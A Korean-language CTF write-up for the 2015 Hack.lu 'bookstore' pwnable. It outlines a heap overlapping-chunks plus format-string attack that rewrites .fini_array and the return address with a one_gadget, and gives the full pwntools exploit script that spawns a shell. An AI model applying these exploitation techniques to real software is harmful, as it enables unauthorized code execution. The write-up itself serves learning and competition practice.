[2015 Hack.lu] bookstore
2019. 8. 1. 01:03
overlapping_chunks 와 FSB와 stack에 값 채워넣기가 포함된 문제.
처음에 printf(heap_area)를 하길래, stack에서 fsb를 못할줄 알았다...
그런데 메뉴 선택지에서 128개를 받는것을 보고 스택에 fsb에 필요한 인자를 넣을 수 있다는 것을 늦게 알아서...
fsb를 stack에 이미 존재하는 값만으로만 수행하려는 생고생을 한 문제다...
1. overlapping_chunks 스킬을 이용하여 dest영역을 원하는 값으로 조절가능
2. menu 선택에서 fgets(choice, 128, stdin)으로 128개 입력가능 <<-- 스택에 원하는 값 넣기 가능
3. printf(dest)에서 FSB 가능
그런데 fsb를 할 수 있는 기회가 1번밖에 없다. 그래서 .fini_array를 덮어서 다시 main으로 뛰게 할 수 있다.
4. fsb로 stack_address와 libc_address를 leak
5. .fini_array를 main으로 덮는다.
6. 다시 main으로 돌아와 위의 과정을 수행.
7. fsb로 return address를 oneshot_gadget으로 덮는다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 | from pwn import * conn = process("./books") def order(id, data): conn.sendlineafter("5: Submit", str(id)) conn.recvuntil("Enter first order:") conn.sendline(data) def remove(id): conn.sendlineafter("5: Submit", str(id+2)) def submit(choice): conn.sendlineafter("5: Submit", "5"+"\x00"*7+choice) fini_array = 0x6011b8 free_got = 0x6013b8 # stage 1 remove(2) order(1, "A"*(0x88)+p64(0x151)) payload = "A"*8 payload += "%"+str(0xa39)+"c" payload += "%13$hn" payload += "%2$p " payload += "%17$p" payload += "A"*(108-len(payload)) order(1, payload) submit(p64(fini_array)) conn.recvuntil("Order 2:") conn.recvuntil("Order 2:") # leak conn.recvuntil("0x") leaks = conn.recvuntil("AAAAA")[:-5].strip().split(" ") libc_base = int("0x"+leaks[0], 16) - 0x3c6780 ret_addr = int(leaks[1], 16) - 0x200 log.info("libc_base : " + hex(libc_base)) log.info("ret_addr : " + hex(ret_addr)) #stage 2 remove(2) order(1, "A"*(0x88)+p64(0x151)) one_gadget = libc_base + 0x45216 log.info("one_gadget : " + hex(one_gadget)) """ 0x45216 execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL 0x4526a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL 0xf02a4 execve("/bin/sh", rsp+0x50, environ) constraints: [rsp+0x50] == NULL 0xf1147 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL """ head = (one_gadget >> 16) & 0xFFFF tail = one_gadget & 0xFFFF payload = "A"*8 payload += "%"+str(head)+"c" payload += "%13$hn" payload += "%"+str((0x10000+tail-head)%0x10000)+"c" payload += "%14$hn" payload += "A"*(108-len(payload)) order(1, payload) submit(p64(ret_addr+2) + p64(ret_addr)) conn.recvuntil("Order 2:") conn.recvuntil("Order 2:") conn.interactive() | cs |
'Write-up > Pwnable' 카테고리의 다른 글
[hack.lu CTF 2014] OREO (0) | 2019.07.27 |
---|---|
[0CTF 2016] zerostorage (0) | 2019.07.26 |
[BCTF 2016] bcloud (0) | 2019.07.26 |
[CODEGATE 2015] yocto (RTDL) (0) | 2019.07.13 |
[PlaidCTF 2015] plaiddb writeup (0) | 2019.07.11 |